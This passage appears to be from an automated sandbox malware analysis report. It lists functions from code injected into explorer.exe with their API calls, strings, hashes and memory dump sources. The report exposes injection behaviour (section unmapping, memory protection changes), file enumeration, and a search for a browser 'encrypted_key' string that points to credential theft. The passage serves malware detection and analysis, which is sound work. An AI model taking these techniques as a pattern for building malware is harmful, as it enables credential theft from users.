Opcode Fuzzy Hash: f1684721801c51636d9e7cfdca5a507d959a7a8fa1aee60da40d0f8f337b0ba3
Instruction Fuzzy Hash: 38E1F13060C3828BD7758B288490F6EBBE1AFD5304F28496DF8CA97392D665CD85DF42

Function 000C7A5C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

NaN, xrefs: 000C73F8
-x0, xrefs: 000C7325

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: d11ac3931c9dcbdf64c11220ffdcdad05de039478f86599600d604ead2a3fca6
Instruction ID: 49cfba68ecb272604455ab1bf93e6065161ddbaac16dd1229a547ce8d9fa3cb2
Opcode Fuzzy Hash: d11ac3931c9dcbdf64c11220ffdcdad05de039478f86599600d604ead2a3fca6
Instruction Fuzzy Hash: F2E1D07060C3828BD7758F288490F6EBBE1AFD9304F28486DF8C997352D665CD85DB92

Function 000C7A28 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 426COMMON

Download Yara Rule

Strings

NaN, xrefs: 000C73F8
-x0, xrefs: 000C7325

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 5ae9f130e295ecc918f38888d72d74336ee56103749728bc1bf10e18509c401b
Instruction ID: 330c28c3a8c259f09a395ee402843b1e1ee634393dab25b9175627596b395c55
Opcode Fuzzy Hash: 5ae9f130e295ecc918f38888d72d74336ee56103749728bc1bf10e18509c401b
Instruction Fuzzy Hash: 41E1D17060C3828BD7758F288490F6EBBE1AFD9304F28496DF8C997252D665CD85DF82

Function 000C77F9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 414COMMON

Download Yara Rule

Strings

NaN, xrefs: 000C73F8
-x0, xrefs: 000C7325

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 12c5b43fe113939aaceb655c91f85d05b91aaa74e882c37652a697ff0788fd34
Instruction ID: 3e2e44be8ce5833cedf5209992f3b6124b63f10efd9ff1d5558781f21c33e25c
Opcode Fuzzy Hash: 12c5b43fe113939aaceb655c91f85d05b91aaa74e882c37652a697ff0788fd34
Instruction Fuzzy Hash: 01E1C07060C3828BD7758F288490B6EBBE1AFD9304F28486EF8C997352D665C985DF52

Function 000C70C9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 403COMMON

Download Yara Rule

APIs

_aulldvrm.NTDLL(00000000,00000002,0000000A,00000000), ref: 000C720E
_aullrem.NTDLL(00000000,?,0000000A,00000000), ref: 000C7226
_aulldvrm.NTDLL(00000000,00000000,?), ref: 000C727B

Strings

NaN, xrefs: 000C73F8
-x0, xrefs: 000C7325

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: _aulldvrm$_aullrem
String ID: -x0$NaN
API String ID: 105165338-3447725786
Opcode ID: 697a355066af11d687313151855d968ba20047efb11636d4341a035609d3aa1b
Instruction ID: 095dbadfaab6f1bee5de8b21bd2d2e33f27f2685042f1941eef9401a89e760a0
Opcode Fuzzy Hash: 697a355066af11d687313151855d968ba20047efb11636d4341a035609d3aa1b
Instruction Fuzzy Hash: EED1D17060C3828BD7758F288490F6EBBE1AFD9304F28486DF8C997352D665C985DF42

Function 000C898F Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 353COMMON

Download Yara Rule

APIs

_allmul.NTDLL(00000000,?,0000000A,00000000), ref: 000C8AAD
_allmul.NTDLL(?,?,0000000A,00000000), ref: 000C8B66
_allmul.NTDLL(?,00000000,0000000A,00000000), ref: 000C8C9B
_alldvrm.NTDLL(?,00000000,0000000A,00000000), ref: 000C8CAE

Strings

., xrefs: 000C8B17

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: _allmul$_alldvrm
String ID: .
API String ID: 115548886-248832578
Opcode ID: f11f46264f1b6b686032050282387c4c62a0e9e1c11a8a3e6ee38c67af6638e3
Instruction ID: c3149298e95e9918c44611cf8e246113e996e8021401bd2d5001290e625d50f0
Opcode Fuzzy Hash: f11f46264f1b6b686032050282387c4c62a0e9e1c11a8a3e6ee38c67af6638e3
Instruction Fuzzy Hash: 62D106B190C7858BC724DF088884B7EBBF0FBD5315F04896EF6C696291DBB1C945878A

Function 000ED684 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 000ED6A0
memset.NTDLL ref: 000ED6B3
memset.NTDLL ref: 000ED6C3

Strings

,, xrefs: 000ED6FC
9, xrefs: 000ED701
7, xrefs: 000ED71B

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: memset
String ID: ,$7$9
API String ID: 2221118986-1653249994
Opcode ID: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction ID: a93434c1d82605a0d62f71d02381052b5582f2d7eb856f10f18e2b53618c85e9
Opcode Fuzzy Hash: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction Fuzzy Hash: 2B316A715083849FD374DF60D840B8FBBE9AB85340F00892EF98997252EB719549CBA2

Function 000C1BC5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00000000,?,000C2E75,PathToExe,00000000,00000000), ref: 000C1BCC
StrStrIW.SHLWAPI(00000000,.exe), ref: 000C1BF0
StrRChrIW.SHLWAPI(00000000,00000000,0000005C), ref: 000C1C05
lstrlenW.KERNEL32(00000000,?,000C2E75,PathToExe,00000000,00000000), ref: 000C1C1C

Strings

.exe, xrefs: 000C1BEA

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: lstrlen
String ID: .exe
API String ID: 1659193697-4119554291
Opcode ID: adc4d391923bc5eb2d88b03df1ecb30fe94817b9363fbb4fc9487718162ebe22
Instruction ID: 50335f77f410bd166654ed93a2edc7e36a47193c3495a10abe623a915ced33e0
Opcode Fuzzy Hash: adc4d391923bc5eb2d88b03df1ecb30fe94817b9363fbb4fc9487718162ebe22
Instruction Fuzzy Hash: 77F0AF30351220AAD3686B34AD85FFE62E5EF06341720882EF042C21A2EB618C818759

Function 000D2FF6 Relevance: 6.6, APIs: 5, Instructions: 369COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000018), ref: 000D316F
_allmul.NTDLL(-00000001,00000000,?,?), ref: 000D31D2
_alldiv.NTDLL(?,?,00000000), ref: 000D32DE
_allmul.NTDLL(00000000,?,00000000), ref: 000D32E7
_allmul.NTDLL(?,00000000,?,?), ref: 000D3392

Part of subcall function 000D16CD: memset.NTDLL ref: 000D172B

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: _allmul$_alldivmemset
String ID:
API String ID: 3880648599-0
Opcode ID: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction ID: 551e23537cbf28cbaa0111fc500c72726314421728c196db4da424fe4a208fff
Opcode Fuzzy Hash: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction Fuzzy Hash: 12D19A716083418BDB64DF69C580BAEBBE1AF88704F14492EF98593352DB70DE45CBA3

Function 000F87FA Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 388COMMON

Download Yara Rule

Strings

FOREIGN KEY constraint failed, xrefs: 000F8AC8
old, xrefs: 000F889E
new, xrefs: 000F88AA

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID:
String ID: FOREIGN KEY constraint failed$new$old
API String ID: 0-384346570
Opcode ID: daca8e84365f49d8f5c49dd0c85ac85ddbcba5b303c768c0027d9fd21ad7cb59
Instruction ID: 2c319ea1fd1de208a8c5170f7e236527ba77f4ec40f88acc92fbac28408f6ca7
Opcode Fuzzy Hash: daca8e84365f49d8f5c49dd0c85ac85ddbcba5b303c768c0027d9fd21ad7cb59
Instruction Fuzzy Hash: 52D15A707083449FD714DB25C481BBFBBE9ABC8740F10891EFA459B292DB74E941DB92

Function 000C96BC Relevance: 6.4, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_alldiv.NTDLL(000000FF,7FFFFFFF,?,?), ref: 000C96E7
_alldiv.NTDLL(00000000,80000000,?,?), ref: 000C9707
_alldiv.NTDLL(00000000,80000000,?,?), ref: 000C9739
_alldiv.NTDLL(00000001,80000000,?,?), ref: 000C976C
_allmul.NTDLL(?,?,?,?), ref: 000C9798

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: _alldiv$_allmul
String ID:
API String ID: 4215241517-0
Opcode ID: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction ID: 4ed6ead1f767992a85970b8ac00d8c1b2ddcd2bb71c232838737eade47b59abf
Opcode Fuzzy Hash: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction Fuzzy Hash: 2C213B3111E7655AD7745F555CCCFAF75C9DBE1790F26033EFD01D2292EA528C4080A1

Function 000DB162 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000000), ref: 000DB1B3
_alldvrm.NTDLL(?,?,00000000), ref: 000DB20F
_allrem.NTDLL(?,00000000,?,?), ref: 000DB28A
memcpy.NTDLL(?,?,00000000,?,00000000,?,?,?,00000000,?,?,00000000,00000000), ref: 000DB298

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: _alldvrm_allmul_allremmemcpy
String ID:
API String ID: 1484705121-0
Opcode ID: 8e40c15e4f4af4a80cefe73363758988e16c4c325756f2a9d9c4a273f9e8da1e
Instruction ID: b873d65e9b63ac81ef1da006d040e5bcd4b0801f6b89ffab2c9cb743b954abd3
Opcode Fuzzy Hash: 8e40c15e4f4af4a80cefe73363758988e16c4c325756f2a9d9c4a273f9e8da1e
Instruction Fuzzy Hash: 1E4139756083019BC758EF19C89196FBBE6AFC8300F45492EF99987352DB31EC45CB62

Function 000CA67C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

_alldiv.NTDLL(?,?,?), ref: 000CA6AD
_allmul.NTDLL(00000000,?,?), ref: 000CA6B6

Strings

winTruncate2, xrefs: 000CA717
winTruncate1, xrefs: 000CA6DF

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: _alldiv_allmul
String ID: winTruncate1$winTruncate2
API String ID: 727729158-470713972
Opcode ID: 482d2d8b92fad3d3c1ab01ce1a76c8f065e84a1b23a4b7e17941d4475c5f922e
Instruction ID: 4e31deaf33b0b32424edf6d718150874822a81b94d0374523af5d6a0118ce064
Opcode Fuzzy Hash: 482d2d8b92fad3d3c1ab01ce1a76c8f065e84a1b23a4b7e17941d4475c5f922e
Instruction Fuzzy Hash: 2721AE31305108ABCF648F29CC85FAF77A9EB86318B15822DFD14CB295D634D8508762

Function 000C1895 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetHGlobalFromStream.OLE32(?,?), ref: 000C18A7
GlobalFix.KERNEL32(000C4B57), ref: 000C18B6
GlobalUnWire.KERNEL32(?), ref: 000C18F4

Part of subcall function 000C1000: GetProcessHeap.KERNEL32(00000008,?,000C11C7,?,?,00000001,00000000,?), ref: 000C1003
Part of subcall function 000C1000: RtlAllocateHeap.NTDLL(00000000), ref: 000C100A

RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 000C18E8

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: Global$Heap$AllocateFromMemoryMoveProcessStreamWire
String ID:
API String ID: 2207111602-0
Opcode ID: 48d9cfc7d52d62ceac37f540dd647e4377d6472fa06f58b4765735def5569386
Instruction ID: 09e2922cd47ef2ddb887db81ecddd7a3827ca7cc636d0a6fc96dbb30dc5c6181
Opcode Fuzzy Hash: 48d9cfc7d52d62ceac37f540dd647e4377d6472fa06f58b4765735def5569386
Instruction Fuzzy Hash: 9801AD35204306AF8B059F659D18EDF7BEAEF8A350B10C42EF80583222DF32CD448A20

Function 000C1953 Relevance: 6.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,00000000,?,?,000C2F0C), ref: 000C1973
lstrlenW.KERNEL32(00116564,?,?,000C2F0C), ref: 000C1978
lstrcatW.KERNEL32(00000000,?), ref: 000C1990
lstrcatW.KERNEL32(00000000,00116564), ref: 000C1994

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: 45fb1d534a7621876c678f7d97b25d25c8b83790c70a3726d9c9173cabc42959
Instruction ID: 4d30f8789ad44f5c05cacdb9ce11480449c1b5baaced4d312f7891b0442361bf
Opcode Fuzzy Hash: 45fb1d534a7621876c678f7d97b25d25c8b83790c70a3726d9c9173cabc42959
Instruction Fuzzy Hash: 16E0656270021C1B475477AE5C94EFB76DCCBC96A53050039FA08D3203E966DC0546B0

Function 000C2FB1 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 31stringCOMMON

Download Yara Rule

APIs

StrStrIA.SHLWAPI(00000000,"encrypted_key":"), ref: 000C2FC1
lstrlen.KERNEL32("encrypted_key":",?,000C3FA8), ref: 000C2FCE
StrStrIA.SHLWAPI("encrypted_key":",0011692C), ref: 000C2FDD

Part of subcall function 000C190B: lstrlen.KERNEL32(?,?,?,?,00000000,000C2783), ref: 000C192B
Part of subcall function 000C190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,000C2783), ref: 000C1930
Part of subcall function 000C190B: lstrcat.KERNEL32(00000000,?), ref: 000C1946
Part of subcall function 000C190B: lstrcat.KERNEL32(00000000,00000000), ref: 000C194A

Strings

"encrypted_key":", xrefs: 000C2FBA, 000C2FBF, 000C2FCD, 000C2FDC

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID: "encrypted_key":"
API String ID: 493641738-877455259
Opcode ID: c1c111d1c361ea2280c0eef5f7a872ca0a52f29db80e31099fd2fef06207ef3e
Instruction ID: 9c6b67dcc6ef624df4736c2e561888b14e3c99406eaee6f665111c1420be8bfd
Opcode Fuzzy Hash: c1c111d1c361ea2280c0eef5f7a872ca0a52f29db80e31099fd2fef06207ef3e
Instruction Fuzzy Hash: 96E0222260AA682F83A9ABF52D44DCF3EA89F46210305407CF60193513DF938842C2A4

Function 000EF21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 000C6A81: memset.NTDLL ref: 000C6A9C

_aulldiv.NTDLL(?,00000000,?,00000000), ref: 000EF2A1

Strings

%llu, xrefs: 000EF25E
%llu, xrefs: 000EF2A8

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: _aulldivmemset
String ID: %llu$%llu
API String ID: 714058258-4283164361
Opcode ID: d7441ef4cf18d0029357730f9c5777b07e4775ebdbfb8b08309078aadb0e519f
Instruction ID: 733d781762fd89a8af3b4d8a65a072e1762b99422687671c30c8df4c3b8d9cf5
Opcode Fuzzy Hash: d7441ef4cf18d0029357730f9c5777b07e4775ebdbfb8b08309078aadb0e519f
Instruction Fuzzy Hash: 7721D4726446566BC714AB64CC42FBFB759AF85730F04823DFA25A72C2DB219C118BE1

Function 000D203C Relevance: 5.3, APIs: 4, Instructions: 274COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,?), ref: 000D2174
_allmul.NTDLL(?,?,?,00000000), ref: 000D220E
_allmul.NTDLL(?,00000000,00000000,?), ref: 000D2241
_allmul.NTDLL(000C2E26,00000000,?,?), ref: 000D2295

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: _allmul
String ID:
API String ID: 4029198491-0
Opcode ID: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction ID: 7aecc024886d43b95e8348e28dd4becad428794acad02cf143f155fdb2df515e
Opcode Fuzzy Hash: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction Fuzzy Hash: 64A18D70708701AFD724EF64C881A6EB7E6AFE8704F00482EF65587352EB71ED458B62

Function 000D78B9 Relevance: 5.2, APIs: 4, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?), ref: 000D7979
memset.NTDLL ref: 000D798A
memcpy.NTDLL(?,?,?), ref: 000D7A00
memset.NTDLL ref: 000D7A14

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: c619ea2c298dd9c75116f67c9c0684c188a810f16eda2788c5e90550f24386e1
Instruction ID: ce6f6b553f9ce9aef2f833e00a544f58f3f1023c0b2831fe884ef76c5f2cd507
Opcode Fuzzy Hash: c619ea2c298dd9c75116f67c9c0684c188a810f16eda2788c5e90550f24386e1
Instruction Fuzzy Hash: 5F818D716083149FC354DF28C885A6BBBE5EFD8704F54492EF88A87352E770E905CBA2

Function 000C190B Relevance: 5.0, APIs: 4, Instructions: 36stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,?,00000000,000C2783), ref: 000C192B
lstrlen.KERNEL32(00000000,?,?,?,00000000,000C2783), ref: 000C1930
lstrcat.KERNEL32(00000000,?), ref: 000C1946
lstrcat.KERNEL32(00000000,00000000), ref: 000C194A

Memory Dump Source

Source File: 00000013.00000002.431607105.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_c1000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: a7dba3619789455ac5860b3542b82eba2cbc24a0238118d7caf8d9199f850cfb
Instruction ID: 7c96ee7986758746c435996a51eed7706ca130184434f2eb8f608aff7d92e415
Opcode Fuzzy Hash: a7dba3619789455ac5860b3542b82eba2cbc24a0238118d7caf8d9199f850cfb
Instruction Fuzzy Hash: C7E09BA230061C2B472477AE5C94EFF76DCDBD95A53150039F904D3203EE669C0146B0

Analysis Process: explorer.exePID: 4080, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	9.3%
Dynamic/Decrypted Code Coverage:	55.1%
Signature Coverage:	0%
Total number of Nodes:	49
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000638B0 Relevance: 1.5, APIs: 1, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 000638F2

Memory Dump Source

Source File: 00000014.00000002.418873401.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_61000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 175f204f98ddab081ce75ab585c860cf335b3b36596ebe57e2ab61619d8d81c0
Instruction ID: 07d7c0bebfd5eab35338b42f632c169550439883b7608d4425e9f1fe2b024cbe
Opcode Fuzzy Hash: 175f204f98ddab081ce75ab585c860cf335b3b36596ebe57e2ab61619d8d81c0
Instruction Fuzzy Hash: F3F0A020F11A080FEAAC77FD685D3A822C2EB59310F900629B516C36D3DC398A458352

Function 00063458 Relevance: 6.2, APIs: 4, Instructions: 172
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.SHLWAPI ref: 0006347E
RegOpenKeyExW.KERNEL32 ref: 0006353F
RegEnumKeyExW.KERNEL32 ref: 000635D6
RegCloseKey.KERNEL32 ref: 000635E9

Memory Dump Source

Source File: 00000014.00000002.418873401.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_61000_explorer.jbxd

Similarity

API ID: CloseEnumOpen
String ID:
API String ID: 1332880857-0
Opcode ID: e6d0cc022632efdd4a3c5a8daf3e56bcebce22f91e00e29876c625ce24938a9c
Instruction ID: d4483960c43caaeea037d42a9e10a4b875f7596f5693c41f599e3ec46e3d9013
Opcode Fuzzy Hash: e6d0cc022632efdd4a3c5a8daf3e56bcebce22f91e00e29876c625ce24938a9c
Instruction Fuzzy Hash: 82416C30718F0C4FDB98EF6D94997AAB6E2FBD8341F04456EA14EC3262DE34D9448782

Function 0006A298 Relevance: 4.8, APIs: 3, Instructions: 252
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0006A397
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 0006A441
VirtualProtect.KERNELBASE ref: 0006A45F

Memory Dump Source

Source File: 00000014.00000002.418873401.0000000000069000.00000040.80000000.00040000.00000000.sdmp, Offset: 00069000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_69000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction ID: 006bc09559ba58e1e56ca86166064d69eaa2f5b492dea585316237ca25ff1824
Opcode Fuzzy Hash: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction Fuzzy Hash: 99517D3175892E4BCB24BB7C9CC42F5B3C3F757321B18062AD08AD3385D559D9468B93

Function 0006372C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNEL32 ref: 000637B2

Strings

?, xrefs: 000637A2

Memory Dump Source

Source File: 00000014.00000002.418873401.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_61000_explorer.jbxd

Similarity

API ID: Create
String ID: ?
API String ID: 2289755597-1684325040
Opcode ID: 90b71b727ca288489aec266a13dd0a18d59c7ad321cf10e681fca41da4c5c652
Instruction ID: 0175cadc1eaba084e880b185854f7669454e214051596b44bd1488a6f786bdce
Opcode Fuzzy Hash: 90b71b727ca288489aec266a13dd0a18d59c7ad321cf10e681fca41da4c5c652
Instruction Fuzzy Hash: 9E11B970608B4C8FD750DF69D48865AB7E2FB98305F40062EE489C3321DF34D985CB82

Function 000622B4 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.OLE32 ref: 000622D0

Memory Dump Source

Source File: 00000014.00000002.418873401.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_61000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction ID: 6c511f69b69d8d3de49810070f3f7e1f5989998c8ca95c8496505d4ba7d4b445
Opcode Fuzzy Hash: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction Fuzzy Hash: 7AE08C30108B0A8FD798AFBCE4CA07933A1EB9C252B05093EE005CB114D27988C18741

Analysis Process: explorer.exePID: 2480, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	15.3%
Dynamic/Decrypted Code Coverage:	96.6%
Signature Coverage:	0%
Total number of Nodes:	233
Total number of Limit Nodes:	7

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0008255C Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 88
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

lstrcatW.KERNEL32(00000000), ref: 00082588
PathAppendW.SHLWAPI(00000000,*.*), ref: 00082594
FindFirstFileW.KERNELBASE(00000000,?,?,000818F4), ref: 000825A8
RtlZeroMemory.NTDLL(00000209,00000209), ref: 000825C3
lstrcatW.KERNEL32(00000209,?), ref: 000825E1
PathAppendW.SHLWAPI(00000209,?), ref: 000825ED
lstrcatW.KERNEL32(00000209,?), ref: 00082611
PathAppendW.SHLWAPI(00000209,?), ref: 0008261D
StrStrIW.SHLWAPI(00000209,?), ref: 0008262C
FindNextFileW.KERNELBASE(00000000,?,?,000818F4), ref: 00082644
FindClose.KERNEL32(00000000,?,000818F4), ref: 00082653

Strings

*.*, xrefs: 0008258E

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_81000_explorer.jbxd

Similarity

API ID: AppendFindPathlstrcat$FileHeap$AllocateCloseFirstMemoryNextProcessZero
String ID: *.*
API String ID: 1648349226-438819550
Opcode ID: f244eec9a02c202261c54c00ec9b413ed975cdb29ccbfba86f23e8cd56307f5a
Instruction ID: 9ab04f0758e8323f23007aef3f0b497425df495bdb796eec7b4485748527ddf8
Opcode Fuzzy Hash: f244eec9a02c202261c54c00ec9b413ed975cdb29ccbfba86f23e8cd56307f5a
Instruction Fuzzy Hash: C9217171204315AFE710BF209D589AFBBECFFC5B05F04051DFAD1A2251EB389A168B66

Function 00081016 Relevance: 3.0, APIs: 2, Instructions: 19
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000827E2: VirtualQuery.KERNEL32(00000000,00000209,0000001C,00000209,00082664,?,000818F4), ref: 000827EF

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 0008103A
NtUnmapViewOfSection.NTDLL(000000FF,?), ref: 00081043

Memory Dump Source

Source File: 00000015.00000002.421457935.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_81000_explorer.jbxd

Similarity

